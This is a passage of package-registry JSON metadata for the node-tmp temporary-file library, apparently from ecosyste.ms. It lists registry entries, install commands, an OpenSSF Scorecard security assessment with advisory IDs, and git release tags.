ng_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:tmp/codemeta","maintainers":[],"registry":{"name":"repo1.maven.org","url":"https://repo.maven.apache.org/maven2","ecosystem":"maven","default":true,"packages_count":612498,"maintainers_count":0,"namespaces_count":80807,"keywords_count":34879,"github":"maven-central","metadata":{"funded_packages_count":37828},"icon_url":"https://github.com/maven-central.png","created_at":"2022-07-21T16:40:13.074Z","updated_at":"2026-06-10T05:05:55.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/namespaces"}},{"id":13559072,"name":"node-tmp","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-11T04:55:12.823Z","latest_release_published_at":"2026-02-11T04:55:12.823Z","latest_release_number":"0.2.2+dfsg+~0.2.3-1","last_synced_at":"2026-03-11T22:46:22.025Z","created_at":"2026-02-11T04:55:12.653Z","updated_at":"2026-03-11T22:46:22.025Z","registry_url":"https://launchpad.net/ubuntu/+source/node-tmp","install_command":"apt-get install node-tmp","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"extra","binary":"node-tmp","standards_version":"4.6.1","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T14:50:23.679Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/node-tmp?arch=source\u0026distro=ubuntu-23.04\u0026repository_url=https://launchpad.net/ubuntu/lunar","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.04","url":"https://launchpad.net/ubuntu/lunar","ecosystem":"ubuntu","default":false,"packages_count":36116,"maintainers_count":0,"namespaces_count":4,"keywords_count":1000,"github":"ubuntu","metadata":{"codename":"lunar","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":133},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:49.117Z","updated_at":"2026-06-10T05:17:49.008Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/namespaces"}},{"id":13429187,"name":"node-tmp","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-07T16:26:24.797Z","latest_release_published_at":"2026-02-07T16:26:24.797Z","latest_release_number":"0.2.1+dfsg+~0.2.2-1","last_synced_at":"2026-03-07T16:33:02.492Z","created_at":"2026-02-07T16:26:22.932Z","updated_at":"2026-03-07T17:02:21.806Z","registry_url":"https://launchpad.net/ubuntu/+source/node-tmp","install_command":"apt-get install node-tmp","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"extra","binary":"node-tmp","standards_version":"4.6.0","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/node-tmp?arch=source\u0026distro=ubuntu-22.04\u0026repository_url=https://launchpad.net/ubuntu/jammy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"ubuntu-22.04","url":"https://launchpad.net/ubuntu/jammy","ecosystem":"ubuntu","default":false,"packages_count":34289,"maintainers_count":0,"namespaces_count":4,"keywords_count":1523,"github":"ubuntu","metadata":{"codename":"jammy","funded_packages_count":167},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:46.486Z","updated_at":"2026-06-10T05:17:45.610Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/namespaces"}},{"id":13702620,"name":"node-tmp","ecosystem":"debian","description":null,"homepage":"https://github.com/raszi/node-tmp","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["javascript"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T21:26:21.393Z","latest_release_published_at":"2026-02-12T21:26:21.393Z","latest_release_number":"0.2.2+dfsg+~0.2.3-1.1~deb12u1","last_synced_at":"2026-03-13T20:42:58.801Z","created_at":"2026-02-12T21:26:21.206Z","updated_at":"2026-03-13T20:42:58.801Z","registry_url":"https://tracker.debian.org/pkg/node-tmp","install_command":"apt-get install node-tmp","documentation_url":"https://packages.debian.org/bookworm/node-tmp","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"node-tmp","standards_version":"4.6.1","maintainer":"Debian Javascript Maintainers \u003cpkg-javascript-devel@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-nodejs, mocha \u003c!nocheck\u003e, node-rimraf \u003c!nocheck\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T21:26:21.962Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/node-tmp?arch=source\u0026distro=debian-12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/node-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/node-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/node-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/node-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/node-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/node-tmp/codemeta","maintainers":[],"registry":{"name":"debian-12","url":"https://packages.debian.org/bookworm","ecosystem":"debian","default":true,"packages_count":34734,"maintainers_count":0,"namespaces_count":4,"keywords_count":2667,"github":"debian","metadata":{"codename":"bookworm","funded_packages_count":395},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.459Z","updated_at":"2026-06-10T05:17:51.014Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/namespaces"}},{"id":10372650,"name":"github.com/raszi/node-tmp","ecosystem":"go","description":null,"homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":[],"namespace":null,"versions_count":42,"first_release_published_at":"2011-09-02T12:26:18.000Z","latest_release_published_at":"2026-05-27T15:45:48.000Z","latest_release_number":"v0.2.7","last_synced_at":"2026-07-23T01:12:42.775Z","created_at":"2024-06-15T04:23:14.634Z","updated_at":"2026-07-23T01:12:42.775Z","registry_url":"https://pkg.go.dev/github.com/raszi/node-tmp","install_command":"go get github.com/raszi/node-tmp","documentation_url":"https://pkg.go.dev/github.com/raszi/node-tmp#section-documentation","metadata":{},"repo_metadata":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2025-08-08T21:22:47.000Z","size":1374,"stargazers_count":764,"open_issues_count":9,"forks_count":97,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-09-20T16:20:03.362Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2025-09-15T01:01:20.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a21f403e-0a55-4cd2-b57d-8983cb89dd73","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":38,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":276169661,"owners_count":25596956,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-20T02:00:10.207Z","response_time":63,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"raszi","name":"KARASZI István","uuid":"76983","kind":"user","description":"","email":"","website":"https://function-artisans.com/","location":"Budapest, Hungary, Europe","twitter":"ikaraszi","company":"@metrictech","icon_url":"https://avatars.githubusercontent.com/u/76983?v=4","repositories_count":168,"last_synced_at":"2025-09-10T04:24:01.310Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/raszi","funding_links":[],"total_stars":997,"followers":58,"following":22,"created_at":"2022-11-02T16:20:11.698Z","updated_at":"2025-09-10T04:24:01.310Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi/repositories"},"tags":[{"name":"v0.2.3","sha":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059","kind":"tag","published_at":"2024-02-29T02:44:33.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.3","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.3/manifests"},{"name":"v0.2.2","sha":"da3bc1ac9a7880def4a3129c4f8bfe96a63bf99c","kind":"commit","published_at":"2022-08-26T20:37:55.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.2","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"7ae22ed2d56c10d425a66e99fe8bc10c925442e6","kind":"tag","published_at":"2020-10-14T08:21:54.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.1","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"16acc7afc40476c87c39a70c549adb5dcaae43b8","kind":"tag","published_at":"2020-04-25T10:22:56.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.2.0","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"05aba23f06aa62dc286bca4340849f475f862dc3","kind":"tag","published_at":"2019-03-25T17:39:45.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.1.0","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.1.0/manifests"},{"name":"v0.0.33","sha":"0900dd5b112ac7a482e4bdf3cb002bfe1b3acf77","kind":"tag","published_at":"2017-08-12T09:28:04.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.33","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.33/manifests"},{"name":"v0.0.32","sha":"02fc69fcf432a6b99cb80a19ead57e14baad2e41","kind":"tag","published_at":"2017-08-12T09:27:27.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.32","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.32/manifests"},{"name":"v0.0.31","sha":"f60eace1da5b4812776fcfb5afbf11cda88034d9","kind":"tag","published_at":"2016-11-26T10:22:21.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.31","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.31/manifests"},{"name":"v0.0.30","sha":"d31f69e7df59622fed6b920e447e7dce16d8e258","kind":"tag","published_at":"2016-11-01T21:38:08.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.30","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.30/manifests"},{"name":"v0.0.29","sha":"e31c67620ff1277545e1e1bb30537ae89bf5c9c6","kind":"tag","published_at":"2016-09-18T13:04:35.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.29","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.29/manifests"},{"name":"v0.0.28","sha":"9fe2a507d8b041c92c83ce1045b83e7283834431","kind":"tag","published_at":"2015-09-27T20:46:30.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.28","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.28/manifests"},{"name":"v0.0.27","sha":"a9133e6823075bf286e6239b90f0085e0fadc9b2","kind":"tag","published_at":"2015-08-14T22:12:34.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.27","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.27/manifests"},{"name":"v0.0.26","sha":"65bf12c4cfef4ba7d02062c19168624967d7147c","kind":"tag","published_at":"2015-05-12T07:40:09.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.26","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.26/manifests"},{"name":"v0.0.25","sha":"6641f3ab9533748d7eb10d659e1e53f2e010e341","kind":"tag","published_at":"2015-03-01T12:18:32.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.25","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.25","dependencies_parsed_at":null,"dependency_job_id":nul